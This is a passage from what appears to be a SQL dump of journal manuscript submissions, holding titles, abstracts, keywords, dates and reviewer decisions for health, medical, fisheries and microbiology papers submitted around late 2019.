schools in the study area were selected; the study covered all students. Information on socio-demographic, feeding pattern, hours of television watching and computer, video games and physical activity was collected by questionnaire. Each student was weighed and height was measured using a portable stadiometer. Body mass index was calculated by dividing weight in kg by square height in meters. The data was expressed as counts and percentage using SPSS also figures were found. There were 114 students from the age 14 years (52.8 %) followed by 71 (32.9%) from the age 15 years and 31 (14.3%) from the age 13. The study showed that the Prevalence of obese students was (19%), overweight was (16%) while about (53%) of students were normal, (10%) moderate and (2.3%) have severe malnutrition. The BMI is significantly higher among families of students have 5000 – 10000 SR monthly income. Most of the students (81.9%) take fast food. Half of the students (49.5%) take short meal before the basic meal. About 118 (54.6%) students eat three meals per day and 133 (61.6%) were take basic meal in allotted time. Majority of students (72.7%) play foot ball, (10.2%) walk, (6.9%) use bicycle, (3.7%) run, (3.2%) swimming, (2.3%) use billiard and (0.9) play tennis. This study found a relatively high prevalence of obesity and overweight among intermediary school students aged 13 – 15 years in Al Leith city.','Body mass index, Obesity, Overweight, Students. Al Leith city',685,NULL,'2019-12-06',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3035,3972,45,0,'iphsj-19-3035','Religious Coping and Self-esteem of Women living with Cervical Cancer in Ghana',NULL,14,0,NULL,'Cervical cancer has become prevalent in this 21st century and women living with it must adopt coping strategies to remediate such conditions. The study sought to ascertain the relationship between religious coping and self-esteem of women living with cervical cancer in Ghana. The descriptive survey design through the quantitative approach was used in the study. Through stratified and simple random sampling procedures, a sample of 113 respondents were selected from a population of 160 women living cervical cancer. Brief RCOPE and Rosenberg Self-Esteem Scale were used to collect data for the study. The gathered data was analysed using descriptive and inferential statistics such as means, standard deviations, Pearson product Moment Correlation and MANOVA. The findings of the study revealed that women with cervical cancer has normal levels of self-esteem (Overall mean of 3.51 out of 4.0). In terms of religious coping, most of the respondents (76.6%) used positive religious coping. The result of the study also found a statistically significant but moderate relationship between religious coping and self-esteem (r = .53, p < .001) with 28% of the variance in self-esteem being explained by positive religious coping. The findings further revealed a statistically significant difference in the negative religious coping practices with respect to respondents’ religious background [F (2, 108) = 4.33, p = .015, with partial eta squared = .074]. However, for positive religious copying, the study revealed no statistically significant difference with respect to respondents’ religious background [F (2, 108) = 1.21, p = .304, partial eta squared = .022]. Recommendations were made on the need to place interest in religious coping and high self-esteem by stakeholders','Religious coping practices, self-esteem, cervical cancer, religious background',685,NULL,'2019-12-06',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3036,3974,85,0,'iphspr-19-3036','Brief appointments about fiscal policy for the smoking control',NULL,15,0,NULL,'Smoking may be directly and/or indirectly responsible of fiscal disequilibrium with independence of the net relation between incomes and spends of fiscal authorities attributable to smoking. In general way the use of tributary policy focused in reduce the tobacco consumption has mainly a preventive effect. Nevertheless, the useful of this policy is better while the intensity of the tobacco consumption is less. That’s why the efficacy of the fiscal policy for the smoking control is given by the less representatives of the tributary policy front of the no tributary policy while increase the intensity of the tobacco consumption. The main objective of the efficacy fiscal policy for the smoking control must be the higher reduction of the tobacco consumption. That’s why this fiscal policy must be multi-dimensional agreeing with the multi causality from smoking.','smoking, efficacy, fiscal policy',471,NULL,'2019-12-06',NULL,'Submitted',4,NULL,'2020-05-20',NULL,1,1,'1',' ',0,NULL,NULL,2,0,0,0,NULL,0),(3037,3974,85,0,'iphspr-19-3037','Rates to measures the social inequity attributable to smoking',NULL,14,0,NULL,'Introduction. Smoking has two main explicative variables given by the consumption of tobacco and cigarettes and the smokers’ number. The relation between both and the researched risk factor determine the social behavior of it. The social inequity attributable to smoking is given by the particular way to impact over the researched population. Objective. To design an inequity rate for each identified form of social inequity attributable to smoking. Was made an analytic research about the smoking social inequity. Materials y methods. Were used like theorical methods the comparative and the inductive deductive and like empiric method the bibliographic research. Results. The social inequity attributable to smoking is given by the social cost because of smoking. These costs are determined by the smoking effect over the economic resources consumption´s financing the health services and the smoking effect over the society and the economy in general by the labor productivity lose. Conclusion. Smoking like risk factor has several forms to impact over the population researched. Each identified form of social inequity has one particular form of social inequity and one form of socioeconomic inequity too.','social inequity, smoking, rate',471,NULL,'2019-12-06',NULL,'Submitted',4,NULL,'2020-05-20',NULL,1,1,'0',' ',0,NULL,NULL,2,0,0,0,NULL,0),(3043,3984,639,0,'ipfs-19-3043','HISTOLOGICAL EFFECT OF AQUEOUS EXTRACT OF VERNINIA AMYGDALINA ( BITTER LEAF) TO CLARIAS GARIEPINUS JUVENILE.',NULL,14,0,NULL,'The histological effect on C. gariepinus exposed to aqueous extract of V. amygdalina was examined.  One hundred and eighty (180) healthy juveniles of C. gariepinus (17.05±0.25g) were exposed to aqueous extracts of Vernonia amygdalina at concentrations at varying concentration  of 0, 40, 45, 50, 55 and 60ml/l in replicates for 96h. Histological changes in the gills, liver and muscle were examined and used as an index of assessment. The gill histological changes observed were lesion and vacoulations, severe erosion of the secondary lamella, erosion of the gill mucus membrane. Abnormalities observed in the liver tissue of the treated fish were severe glycogenic vacoulation, cellular infiltration, hepatic necrosis, vacoular degeneration.Damage became severe at high concentrations and this could be detrimental to the health and wellbeing of the fish and can also have adverse effects on non-target species. Also, there was a significant reduction in DO of the test concentrations when compared with the control (0.0ml) . Highest value of DO (7.40±0.06) was observed in the control (0.0ml) and was significantly higher (P<0.05) than the test groups. The least value of DO (3.05±0.05) was observed in concentration 60ml of test plant. There were fluctuations in the values of the pH and temperature . The pH value decreased (7.50 ± 0.10) with an increasing concentration of V. amygdalina across the treatment. Highest pH value (7.50±0.02) was observed in the control (0.0ml) followed by treatment 2 (40ml) (7.44±0.04), while the lowest was observed in treatment 6 (60ml) with a value of (7.10±0.03) with no significant differences in temperature across the treatments. However, because of its  medicinal and piscicidal property whose activities lie on the presence of their phytochemical compounds ( saponin, tannin, steroid, flavonoid, terpenoid, alkaloid and cardiac),  and it could  be used under control in management of fish ponds.','Histological effect, Aqueous extract, clarias gariepinus, Vernonia amygdalina, , Histology ',1777,NULL,'2019-12-08',NULL,'Submitted',1,NULL,'2020-06-12',NULL,1,1,'1','According to review comments not accept to publish this article.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3045,3986,45,0,'iphsj-19-3045','Health professional mobility effects on professional development, job satisfaction and empowerment: (A Portuguese Adaptation of the Conditions of Work Effectiveness Questionnaire)',NULL,14,0,NULL,'Introduction: Human resources are a fundamental part of health systems and health services. Job satisfaction is a well established determinant for human health resources retention and quality of health care and health outcomes. \r\nObjectives: To investigate health professional mobility effects on health organizations effectiveness and performance, on health professionals development, training, skills acquisition and job satisfaction in a EU country (Portugal), through a survey (electronic survey) addressed to health professionals.\r\nMethods: The “Conditions of Work Effectiveness - Questionnaire-II”, validated for the Portuguese language, was selected, to evaluate the perceptions of health workers, Portuguese speakers, working in Portugal or other countries of the European Union (EU) regarding the dimensions of access to opportunity, access to information, professional support, access to resources, creativity, collaboration and activities, and global empowerment. Statistical analysis was performed using SPSS 25 (descriptive, EFA).\r\nResults: Nearly 60% of the 1800 respondents were doctors, 72.7% of them referred working in different health institutions, whereas 51.7% of nurses referred having worked in other European countries. Positive perceptions were found regarding the dimensions of “Access to Opportunity”, “Access to Information”, “Access to Support” and “Global Empowerment”. Negative perceptions were founded for the dimensions “access to resources” and “innovation /creativity (JAS)” \r\nConclusions: Results suggested potential for intervention and implementation of policies to address the negatively perceived dimensions of access to resources and lack of appropriate rewarding, in order to improve HRH job satisfaction and contribute to quality of health care outcomes. \r\n',' Key words: mobility, health, professionals, performance, organization, Europe',686,NULL,'2019-12-09',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3050,3736,639,0,'ipfs-19-3050','Effect of Environmental Factors on the Movement of  Rainbow Trout in the Deerfield Reservoir System.',NULL,14,0,NULL,'Spawning movements and the factors affecting those movements are often of interest to fisheries managers and biologists. The objective of this study was to examine the influence of environmental factors on the movements of an adfluvial Rainbow Trout Oncorhynchus mykiss population in the Black Hills, South Dakota. Three unique strains of hatchery-reared Rainbow Trout and resident Rainbow Trout were implanted with passive integrated transponder (PIT) tags and movements between Deerfield Reservoir and the Castle Creek tributary system were monitored from August, 2010-July, 2011.  Initial adfluvial movements of Rainbow Trout were detected using a stationary PIT tag reader deployed near the mouth of Castle Creek. Multiple linear regression was used to model the relationship between PIT-tagged Rainbow Trout movement and water temperature, photoperiod, and discharge. Using Akaike’s information criterion (AIC) to compare models, discharge was the top supported model explaining variation in Rainbow Trout movement. Additionally, models containing temperature and photoperiod were also supported. Supported models only explained moderate levels of variation (<23%) in Rainbow Trout movement. Understanding how environmental variables affect the movement patterns of this unique population is essential in determining the proper management strategy for the Deerfield Reservoir system.','Rainbow Trout, Spawning, Movement',1774,NULL,'2019-12-10',NULL,'Submitted',2,NULL,'2020-01-23',NULL,1,1,'1','This article is accepted to publish in our journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3055,4000,45,0,NULL,'Substance use and associated factors and associated factors among preparatory school students in Nekemte town western Ethiopia; school based a cross- sectional study',NULL,14,0,NULL,'Abstract: Background: Millions of people throughout the world are using substances such as alcohol, nicotine, cocaine, methamphetamine, morphine, marijuana, heroin and many others. Substance use by people in all parts of the world, particularly adolescents, has long been of scientific, political and public concern. Objective: -the main aim of this study was to prevalence of substance use & associated factors among Nekemte preparatory school students in 2019. Methodology:-. School based cross-sectional study was conducted among students at Nekemte preparatory school from March 20-30, 2018. Multistage stratified sampling method was employed to select 372 study participants.  Collected data was cleaned and entered in to Epi info version 3.5.3 and transported to SPSS (statistical package for social sciences) version 20 for analysis. Descriptive statistics and logistic regression was done to indentify factors associated with substance use in the study area.  Result: The overall prevalence of current substance use was (19.1%). Being male students [AOR, 95%CI; 4.64(2.18, 9.75)], ever encountered pressure from friends to use substances [AOR, 95% CI; 2.61(1.03, 6.63)], having substance user parents [AOR, 95%CI; 6.4(2.87, 14.30)] and having many substance user friends [AOR, 95%CI; 6.2(2.82, 13.75)] were significantly associated with substance use among students in the study area.  Conclusion & Recommendation: The current prevalence of substance use among preparatory school students of this study area was low. The most commonly used substances were alcohol, khat and tobacco. Being male students, pear pressure, living with parents use substance & friends were found to affect substance use among Nekemte preparatory school students. Awareness creation sessions; Information, Education &Communication intervention should be intensified to further reduce Substance use among students. \r\nKey words: substance use, students, associated factors','Key words: substance use, students, associated factors',685,NULL,'2019-12-11',NULL,'Submitted',4,NULL,'2019-12-28',NULL,1,0,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3058,4006,45,0,NULL,'Correlation between body mass index and heart rate in males and females of different age group',NULL,14,0,NULL,'The present study was under taken in the Yashvantrao Chavan Institute of Science, Satara ,to find out relationship between the body mass index, age, sex on the resting heart rate of different stakeholders in the college campus. The observation shows that there is correlation between the body mass index on heart rate. In addition, this value is important from exercise point of view and the duration for which it could be carried out as it will affect the maximum heart rate of the individual. The value will also help in reducing obesity and improving the cardiac performance.                                                                                                             ',' BMI, maximum heart rate, obese, under weight',643,NULL,'2019-12-12',NULL,'Submitted',4,NULL,'2020-01-03',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3071,4019,639,0,'ipfs-19-3071','The potential for healthcare savings from recreational fishing a new zealand study',NULL,14,0,NULL,'The physical exercise involved in angling may reduce the risk of contracting several serious non-communicable diseases, which in turn may reduce the healthcare costs of these diseases.  Drawing on the methodology used in epidemiological studies, we attempt to estimate the potential cost savings to healthcare services from fresh- and salt-water angling, using New Zealand as a case study.  The two main critical factors in making such estimates are evaluating the number of anglers who fish regularly enough to open the possibility of making health gains, and the proportion of those – which we label θ – who will actually make such gains, relative to the counterfactual where there is an angling ban.  We conjecture that 0 < θ < 1, and on the basis of limited information about angler behaviour, propose that its value is likely to lie at the lower end of the range.  This could give overall savings to the New Zealand health system of NZ$ 4 to NZ$ 18 million annually. More research on angler behaviour is needed to generate better estimates using this novel methodology.',' angling, physical activity, health costs, benefits, society',1770,NULL,'2019-12-13',NULL,'Submitted',2,NULL,'2020-01-21',NULL,1,1,'1','I recommend this article to publish in our journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3072,4020,251,0,'ipacm-19-3072','Study of  E.coli pathogens causing intestinal infections and use of bacteriophage preparation - Coli phage ',NULL,14,0,NULL,'The represented work here aims to identify pathogenic E.coli causing intestinal infections in the clinical samples as well as in the food (ground-beef). To define the sensibility of the antibiotics towards the mentioned strains also along with commercial phage medicine - Coli Phage, the structure of which contains bacteriophages against pathogenic E.coli. In addition, to determine sensibility of pathogenic strains towards this medicine. ',' E.coli; bacteriophage; E.coli phage preparation.',777,NULL,'2019-12-13',NULL,'Submitted',2,NULL,'2020-02-19',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3074,4022,251,0,'ipacm-19-3074','Efficacy of Chewing Sticks Extract On The Agent Of Dental  Carries Isolates.',NULL,14,0,NULL,'The preferred part or parts are cleaned with water to remove dirts then cut to a convenient length which varies from 15-30cm long and tied into a bundle. The aim of this study was to determine the efficacy of chewing stick on the biological agents of dental carries isolates. Aqueous extracts of five different chewing stick Fagaraxanthoxyloides pako ata, Vernonia amygdalina pako ewuro, Anogeissus leiocarpa pako ayin, Azadirachta indica pako dogoyaro, Prosopis africana mesquite from different location-Sango, Gbawojo market in Saki Oyo State, were tested against isolated microorganisms from the plaque sample of five different individuals of dental carries without previous antibiotic history. The colonial, morphological microscopic and biochemical identification of the isolates were also performed. All the extracts from the selected chewing stick showed good antimicrobial activity against all the isolated microorganisms. It was observed that extract from Anogeissus leiocarpa at 500mg/ml showed a maximum zone of inhibition (27mm) against Klebsiella while extract of V. amygdalina at 500mg/ml produced a maximum zone of inhibition of (28mm) against Streptococcus but extract of Fagaraxanthoxyloides exhibited a maximum zone of inhibition (27mm) against E. coli and extract of Azadirachta indica and Prosopis africana produced a maximum zone of inhibition of (23mm &33mm) respectively at 500mg/ml. The present study confirmed the use of these Chewing stick in oral hygiene since their potential anti plaque effect is likely to complement the mechanical plaque removing property of chewing sticks. The results of the study possess inhibitory potentials against bacteria present in dental plaque mainly on aerobes. Chewing stick could be recommended in community for oral health programme because they are readily available and cheaper. ',' Chewing stick, Anti-plaque, Hygiene, Antibacterial, Dental',783,NULL,'2019-12-13',NULL,'Submitted',2,NULL,'2020-02-28',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3085,3375,45,0,NULL,'KNOWLAGE, ATTITUDE, PRACTICE AND ASSOCIATED FACTORS TOWARDS VOLUNTARY BLOOD DONATION AMONG GRADUATING CLASS STUDENTS OF ASSOSA UNIVERSITY, BENISHANGUL GUMUZ, ETHIOPIA, 2018. ',NULL,14,0,NULL,'Abstract\r\nBackground: Blood transfusion is vital therapeutic approach in modern health care that saves millions of lives, but there is a great challenge to gate sufficient voluntary blood donation in developing country like Ethiopia at the same time pregnancy and child birth related problem, rod traffic accident, malaria related death is high. \r\nMethods: Institutional based cross-sectional quantitative study was used from April 27 to May 11 2018 GC and data was collected using self-administered questionnaire. Stratified sampling method was used and individual was selected by simple random sampling within each strata. EPI data version 3.02 for data entry and SPSS version 16 for analysis was used .both bi-variant and multi- variant analysis was computed and significance was declared at AOR <0.05.\r\nResult: From the total study participants, 162(48.5%) had adequate knowledge, 230(68.9%) of the respondent had favorable attitude towards blood donation whereas only 85 (25.4%) have ever donated blood in their life time.\r\n Having inadequate knowledge 3.118 times more likely non-donors [AOR=3.118: 1.775, 5.479] than compared to those having adequate knowledge, and unfavorable attitude 4.254 times non-donors [AOR=4.254%CI: 1.996, 9.069] than compared to those having favorable attitude. Whereas being user of television 2.015 times more likely non donors of blood [AOR= 2.015 %CI: 1.100, 3.690] than compared to non-user. \r\nConclusion the result shows that there was poor habit of blood donation practice among students and even from donors above the mean range 57.6% of respondent donate blood to help relatives or friends and we recommend further study in this area, to give training for blood bank service workers and organize motivational blood donor club to utilize potential voluntary blood donors.','Keywords: Blood donation, Assosa, Benishangul Gumuz.',685,NULL,'2019-12-16',NULL,'Submitted',4,NULL,'2019-12-31',NULL,1,0,'1',NULL,0,NULL,NULL,1,0,0,0,NULL,0),(3096,4051,45,0,NULL,'Global',NULL,1,0,NULL,'Hi Sabah degu',' 404',2832,NULL,'2019-12-17',NULL,'Submitted',4,NULL,'2019-12-31',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3098,4054,959,0,'ipacr-19-3098','Identification of overexpressed receptor in small cell lung cancer lung cancer (SCLC), and distribution of non-functionalized core-shell magnetic nanoparticles, in an animal model of small cell tumor cancer',NULL,14,0,NULL,'The small cell lung cancer (SCLC) is a lethal malignancy associated with a poor prognosis worldwide. SCLC accounts for 15- 20% of diagnosed lung cancers. It is different (pathological, molecular, biological, and clinical) from other lung cancers, provoking a low quality of life in patients.  To this end, alternative diagnosis and treatment methods are nowadays mandatory.\r\n\r\nThis work contributes to those studies based on nanomedicine for diagnosis and treatment of SCLC by using core-shell magnetic nanoparticles functionalized with a linker and drugs.  In particular, this contribution aims, on the one hand, at identifying the overexpressed receptor in tumorous cells to select the best target for the functionalization of core-shell nanoparticles (CSNPs) and, on the other hand, at evaluating the residence time distribution of non-functionalized core-shell magnetic nanoparticles, in vivo. The latter focuses on assessing the performance of nanoparticles as a contrast-based diagnostic method during the enhanced permeation and retention (EPR) effect; Magnetic Resonance Images (MRI) are used to characterize the residence distribution time of the nanoparticles in vivo. \r\n',' Small Cell Lung Cancer (SCLC), Transferrin Receptor (CD71 receptor), Magnetic Resonance Images (MRI), core-shell magnetic nanoparticles.',2817,NULL,'2019-12-18',NULL,'Submitted',4,NULL,'2020-06-12',NULL,1,1,'0','Accept after revision',0,NULL,NULL,2,0,0,0,NULL,0),(3101,4060,45,0,NULL,'Determinants of progression rate of hepatitis B virus in the liver of patients: A prospective longitudinal study ',NULL,14,0,NULL,'Background: Hepatitis B is the most common liver infection in the world which is caused by the hepatitis B virus (HBV). The virus can attack and injure the liver. The infection of hepatitis B virus leads to chronic viral hepatitis infections in hundreds of millions of people in worldwide. The objective of current study was to identify factors that affect the progression rate of hepatitis B virus in patients’ liver who were treated at Felege-Hiwot Teaching and Specialized Hospital, during treatment period.\r\n Methods: The data for this study was obtained from hepatitis B patients chart registered for treatment during January 2013 to December 2016 at chronic hepatitis B patients’ clinic at Felege-Hiwot Teaching and Specialized Hospital, Bahir Dar, Ethiopia. The analytical methodology used in current investigation was the linear mixed effect model. The estimation of the model parameters was done by Restricted Maximum Likelihood (REML) procedures. \r\nResults: From the linear mixed effect model, main effects like visiting time (p-value < 0.001), sex(p-value = 0.0332),  age (p-value < 0.001), vaccination history (p-value = 0.0141), marital status (p-value = 0.0032), Alanine amino-transferase (p-value = 0.0057), Genotype, A (p-value = 0.0154), Genotype, B (p-value = 0.0183), Genotype, C (p-value = 0.0143) and Albumin (p-value = 0.0329) significantly affected the variable of interest. Similarly, interaction effects of time with marital status (p-value = 0.0042) played statistically significance role on the progression rate of hepatitis B virus in the liver of patients. \r\nConclusion: A certain groups which are at maximum risk and needs intervention have been identified. Highly concrete evidences have been increased from time to time for certain population with chronic HBV infection being at great risk for progression of liver disease. Hepatitis B virus infected patients at the study area should have information about factors that can affect the progression rate of HBV. Ministry of health or health staff should aware the community to take vaccination that helps to protect individuals from hepatitis B virus. \r\n\r\n',' Keywords: Hepatitis B patients, infectious disease, liver disease, Virus, Linear mixed model, REML ',2502,NULL,'2019-12-18',NULL,'Submitted',4,NULL,'2019-12-27',NULL,1,0,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3121,4088,45,0,NULL,'Establishment of Fasting Blood Glucose Reference Range in Apparently Health Adult in Addis Ababa, Ethiopia',NULL,14,0,NULL,'Clinical laboratory reference ranges (RRs) including fasting blood glucose is essential for clinical diagnosis, prognosis, treatment and monitoring of diabetes. Locally established reference range is required to correctly interpret clinical laboratory results. Currently, in Addis Ababa fasting blood glucose test results are interpreted based on RRs obtained from a western population.\r\n\r\nObjective \r\nTo establishfasting blood glucose reference range for apparently healthy adults of Addis Ababa population.\r\n\r\nMethods\r\n\r\nProspective study was conducted among apparently healthy individuals in Addis Ababa, from February 20, 2019 to March 18, 2019. A total of 150 healthy participants were included in the study. Analysis was done with the Cobas 6000 full automated clinical chemistry analyzer. By use of Clinical Laboratory and Standards Institute (CLSI) C28-A3 guidelines, we determined reference ranges, including corresponding 95% CIs, following specific exclusion criteria. \r\n\r\n\r\n\r\n\r\nResult\r\n\r\nBlood samples were analyzed from a total of 150 participants with a mean age of 40.92 years, 78 (52%) males and 72 (48%) non-pregnant females. Our results showed that the reference range of fasting blood glucose is (74.36-106.02mg/dl).\r\nConclusion\r\n\r\nThe current study has derived reference range for fasting blood glucose of healthy adult individuals. This range has significant value on the interpretation of fasting blood glucose result which enable to give appropriate medical decision.Therefore, the reference range of (74.36-106.02mg/dl) was recommended as a reference intervals for fasting blood glucose.\r\n',' Reference range, fasting blood glucose, Adult, EPHI',686,NULL,'2019-12-25',NULL,'Submitted',4,NULL,'2019-12-31',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3122,4089,73,0,'ipjnn-19-3122','CLOBAZAM EFFICACY AS AN ADD- ON THERAPY FOR 121 PATIENTS WITH INTRACTABLE EPILEPSY',NULL,12,0,NULL,'Clobazam is a novel 1,5-benzodiazepine that was initially developed as an antianxiety treatment designed to decrease adverse Effects associated with 1,4-benzodiazepines while maintaining efficacy. [1,2]. It was later found to have antiepileptic properties [2,3,4,5].\r\nClobazam is well-tolerated and has shown efficacy as adjunctive therapy for a variety of epilepsy types, including LGS [11]. Studies have reported tolerance rates as high as 87%. [12] Clobazam has an important antiepileptic effect and is less expensive than the new antiepileptic drugs, but still has not been considered as first-line drug in the treatment of epilepsy. Clobazam has been established as a valuable add-on medication for refractory epilepsy. Clobazam have been used in our institution for more than 15 years, with benefit observe in many patients.',' Drug-Resistant Epilepsy, Clobazam',336,NULL,'2019-12-25',NULL,'Submitted',4,NULL,'2020-06-05',NULL,1,1,'0','This manuscript could be interesting for clinical audience and pharmaceutical researchers and the subject of epilepsy is still worthy of interest.\r\nStudy needs some revision pointed as below. \r\n1. Research question- what defines “efficacy” in the particular study? \r\n2. What was decided primary goal in terms of time to reduced seizure or seizure frequency in relation to time period? \r\n3. When the adding clobazam was considers after primary therapy in regards to time duration? \r\n4. How may or what kind of Anti seizure were average used before adding clobazam? \r\n5. Graph 7 and 8 need detail information with explanation details on both axes. The information particular to male and female is not clear. \r\n6. What dose of clobazam was considered as lower dose? \r\n7. Needs to discuss weakness / limitation of study',0,NULL,NULL,2,0,0,0,NULL,0),(3125,4092,251,0,'ipacm-19-3125','SHEEP AND GOAT POX DISEASES CURRENT STATUS IN ETHIOPIA',NULL,15,0,NULL,'Ethiopia is endowed with large population of sheep and goats which supply milk, meat, and skin. Despite of these huge resource animal diseases is the major constraints that hinder the productivity. Sheep and goat pox disease is one of the major diseases caused by a genus of Capripox virus that cause detrimental effect on sheep and goat in many parts of the world. The objective of this review is to give insight on current status of the disease, its epidemiology, diagnosis, treatment, control and challenges of sheep and goat pox diseases. The diseases are most commonly transmitted through direct contact, indirect contact and mechanically by the vectors. Up on entry of virus into the host it replicates in local tissue and spread to different parts of the body as viremia causing pox lesions on skin (hair less area), lung, liver and kidney. In endemic areas the morbidity and mortality rate reaches 1-75% and 5-10% respectively but, the disease is more sever in lambs, kids and exotic breed causing mortality rate up to 100%. In Ethiopia, the disease is distributed in all parts of the country causing significant economic losses in the form of decreased meat and milk yield, damage to skin, abortion, cause of death of animals, restriction of trade and genetic improvement of the animals. Diagnosis of the diseases is depends on clinical signs, laboratory confirmation and post mortem examinations. The disease is controlled through use of antibiotics for control of secondary bacterial complications, vaccination, limitation of animal movement and their products. However, still control and eradication is challenging due to vaccine failure, nature of virus to undergo recombination and interspecies infection. Therefore awareness should be created on the husbandry and herd management to minimize interspecies infection and further study should be conducted at genetic level for detection of change in the genome and development of effective vaccine.','Capripox virus, Epidemiology, Ethiopia, Goat, Sheep, Sheep and goat pox and Vaccine',781,NULL,'2019-12-26',NULL,'Submitted',2,NULL,'2020-06-04',NULL,1,1,'0','Sheeppox virus (SPPV) and goat pox virus (GTPV) belong to the Poxviridae family, genus Capripoxvirus (CaPV) which includes also lumpy skin disease virus (LSDV). Members of genus CaPV cause diseases in sheep, goats, and cattle, respectively. Members of genus CaPVs are closely related. Transmission of SPPV and GTPV occurs by direct and indirect contact to aerosols, respiratory droplets or contact with oronasal secretions produced by acutely infected animals. Variations observed for different districts may be attributed to reasons similar to those listed above for agro-climatic zones. The results and significance of variations in both cases may change on increased sampling. Author had shown significant results and the study is clear in Ethiopia region. Manuscript is suitable to publish.\r\n\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(3126,4004,86,0,'ipaom-19-3126','Urethrovesical foreign body in adolescents. Two case reports.',NULL,2,0,NULL,'Urethrovesical foreign bodies, though uncommon, can be seen in children and adolescents. The self-insertion of different objects via urethral meatus is usually for sexual stimulation.  Treatment of foreign bodies in the urinary tract can be a challenging problem for pediatric surgeons and urologists and it is usually a urologic emergency. The pediatric patient usually adolescents may complain of lower urinary tract symptoms and recurrent urinary tract infection. Late presentation and hesitancy to report to a doctor are possible due to a feeling of embarrassment. Urethrocystocopy is considered ideal for the removal of foreign objects but in some cases and open surgery is required.\r\nThe authors present two cases. One is a 15-year-old male who inserted a flex electrical wire into his own urethra and subsequently into the bladder for self-erotic stimulation. The second case is a 16-year-old male with an over 6-month history of recurrent urinary infection post insertion into the bladder the coated electrical wire.','bladder, urethrovesical, foreign body, electric wire, children',3192,NULL,'2019-12-27',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3131,4098,45,0,'iphsj-23-3131','Skin, Hair, Nail and their Diseases',NULL,15,3,NULL,'Full skin care requires special recognition of the natural course of the disease and distinguishing primary and secondary lesions. If the diagnosis is not definitive, aggressive treatment should not be performed. Even when the diagnosis is clear, acute dermatitis may require mild initial treatment and relief. Skin appendages are derived from the accumulation of epidermal cells that specialize early in embryonic development. Primary epithelial germ cells appear in the third embryonic month and are transformed into follicles of the gonads and apocrine glands and connective protrusions to adhere to the hair straightening muscles Nail formation begins in the third month of intrauterine life. This article is about the morphology of skin, Nail, hair and related disease. ',' Skin, Nail, hair, disease',652,NULL,'2019-12-28',NULL,'Submitted',2,NULL,'2023-01-31',NULL,1,1,'0',NULL,0,NULL,NULL,3,0,0,0,NULL,0),(3135,4103,667,0,'iptb-20-3135','Detection of Brain Signals Using electroencephalogram Received by Silk Electrospun Sheet for the Movement of Paralyzed Anatomical Parts through Tissue Engineering',NULL,14,0,NULL,'Silk is a natural bio polymer which contains many multifunctional management and administrative function that influence on human body like brain and different anatomy of body and osteotomy managements.There is a vast unknown challenges with silk and its performance till now on going research for future.In this paper, I attempted to show brain influence through modification of silk fibers by electro -spinning process and that will take a signal from brain and connect this signal to the anatomy of human body to work or make movement for paralyzed patients.Here the novel material silk is particularly used by tissue engineering through this process can connect the signal from human brain and that will be workable by paralyzed patient anatomical parts of the body.Paralyzed patient can move his paralyzed parts through his/her signals from brain and this signals will spread out through movement of paralyzed parts by tissue engineering.The future perspective and goals of this faithful project specially for paralyzed patients as well as the tissue engineering implantation on human body through brain connectivity with anatomy will discuss here.','Brain signals, tissue engineering, paralyzed patients, signals connectivity , anatomical  parts, Silk electro-spun, electroencephalogram(EEG)',3196,NULL,'2019-12-28',NULL,'Submitted',1,NULL,'2020-07-21',NULL,1,1,'0','published in other journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3140,4108,326,0,'IPJUS-19-3140','STUDY OF TREATMENT OPTIONS IN STRICTURE URETHRA MANAGEMENT AND SUCCESS RATE IN DIFFERENT TYPES AND SITES OF STRICTURE',NULL,14,0,NULL,'Background: \r\nA urethral stricture is a scar of the subepithelial tissue of the corpus spongiosum that constricts the urethral lumen, As the constriction progresses, obstruction develops and leads to symptoms either directly related to the obstruction or as a secondary consequence.\r\nMethods: \r\nAll the cases of stricture urethra presented to our institute between June 2017 to June 2019 (60) in whom treatment was required were studied in a prospective manner. All cases of obstructive voiding symptoms are evaluated by conducting uroflowmetry studies (ESPON, gravimetric type). Obstructive voiding symptoms are evaluated by using the AUA questionnaire.\r\n\r\nResults: \r\nThe data collected was divided into 3 groups\r\n1.	Infective causes of stricture (n=22)\r\n2.	Traumatic causes of stricture (n=14)\r\n3.	Idiopathic causes of stricture (n=24)\r\nThe mean age of presentation was 34.4 years (range of 20 – 50 years). 18 (30.00%) patients had stricture in the bulbo-urethra, 12 (20.00%) at the external meatus, 4 patients had stricture at the bulbo-membranous region.\r\nProcedures undertaken during the study were\r\n•	VIU						-	20\r\n•	Anastomotic urethroplasty			-	17\r\n•	Augmented urethroplasty			-	23\r\nIn our series of 60 patients, 48 patients had a Qmax of > 15ml/sec.  Average success rate was 80.1%.  12 patients had a QMax of <15ml/sec.\r\n\r\n\r\nConclusions: \r\n                        It is unwise to make sweeping recommendations for best practice for reconstructive urethral surgery based on the literature because each patient clearly requires an individualized approach based on individual circumstances.\r\nBuccal mucosa is the most widely used graft has excellent results in all types of urethroplasty\r\n','Stricture; Urethroplasty; Urethrotomy; Buccal Mucosal graft.',2505,NULL,'2019-12-30',NULL,'Submitted',4,NULL,'2020-01-30',NULL,1,1,'0','This manuscript should accept after revision.',0,NULL,NULL,1,0,0,0,NULL,0),(3144,4113,45,0,NULL,'Effect of Blue, Red and Green Colors on Blood Pressure and Heart Rate',NULL,14,0,NULL,'Objective : Color is believed to affect human physiological responses. The aim of this study was to explore the effects of color on blood pressure and heart rate. Methods : An 